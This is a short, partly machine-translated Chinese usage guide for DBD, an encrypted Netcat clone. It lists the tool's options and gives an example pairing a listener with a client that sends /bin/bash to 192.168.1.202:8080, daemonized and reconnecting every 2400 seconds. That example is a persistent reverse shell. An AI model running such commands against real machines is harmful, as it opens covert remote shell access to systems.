DBD包装说明

DBD是Netcat的克隆，设计为可移植并提供强大的加密。它运行在Unix类操作系统和微软的Win32。 DBD使用了AES-CBC-128 + HMAC-SHA1加密（由Christophe迪瓦恩），程序执行（-e选项），选择源端口，连续重联的延迟，和其他一些不错的功能。 DBD只支持TCP / IP通信。源代码和二进制文件分布在GNU通用公共许可证下。 资料来源：https://github.com/gitdurandal/dbd

  connect (tcp): dbd [-options] host port
  listen (tcp):  dbd -l -p port [-options]
  options:
    -l          listen for incoming connection
    -p n        choose port to listen on, or source port to connect out from
    -a address  choose an address to listen on or connect out from
    -e prog     program to execute after connect (e.g. -e cmd.exe or -e bash)
    -r n        infinitely respawn/reconnect, pause for n seconds between
                connection attempts. -r0 can be used to re-listen after
                disconnect (just like a regular daemon)
    -c on|off   encryption on/off. specify whether you want to use the built-in
                AES-CBC-128 + HMAC-SHA1 encryption implementation (by
                Christophe Devine - http://www.cr0.net:8040/) or not
                default is: -c on
    -k secret   override default phrase to use for encryption (secret must be
                shared between client and server)
    -q          hush, quiet, don't print anything (overrides -v)
    -v          be verbose
    -n          toggle numeric-only IP addresses (don't do DNS resolution). if
                you specify -n twice, original state will be active (i.e. -n
                works like a on/off switch)
    -m          toggle monitoring (snooping) on/off (only used with the -e
                option). snooping can also be turned on by specifying -vv (-v
                two times)
    -P prefix   add prefix (+ a hardcoded separator) to all outbound data.
                this option is mostly only useful for dbd in "chat mode" (to
                prefix lines you send with your nickname)
    -H on|off   highlight incoming data with a hardcoded (color) escape
                sequence (for e.g. chatting). default is: -H off
    -V          print version banner and exit (include that output in your
                bug report and send bug report to 
  
  )
  unix-like OS specific options:
    -s          invoke a shell, nothing else. if dbd is setuid 0, it'll invoke
                a root shell
    -w n        "immobility timeout" in seconds for idle read/write operations
                and program execution (the -e option)
    -D on|off   fork and run in background (daemonize). default: -D off
  

  0x02 DBD用法示例

  在客户端，每一个重生2400 秒（-r 2400）， 作为后台进程运行 （-D ON）， 显示详细输出 （-v）， 并送达的bash shell（-e /斌/ bash）的 ，连接到远程 主机（192.168.1.202）8080 端口 （8080）。 在服务器，侦听端口 8080（-p8080）的连接 （-l）， 并显示详细输出 （-v）。

 :~# dbd -r 2400 -D on -v -e /bin/bash 192.168.1.202 8080

 :~# dbd -l -p8080 -v
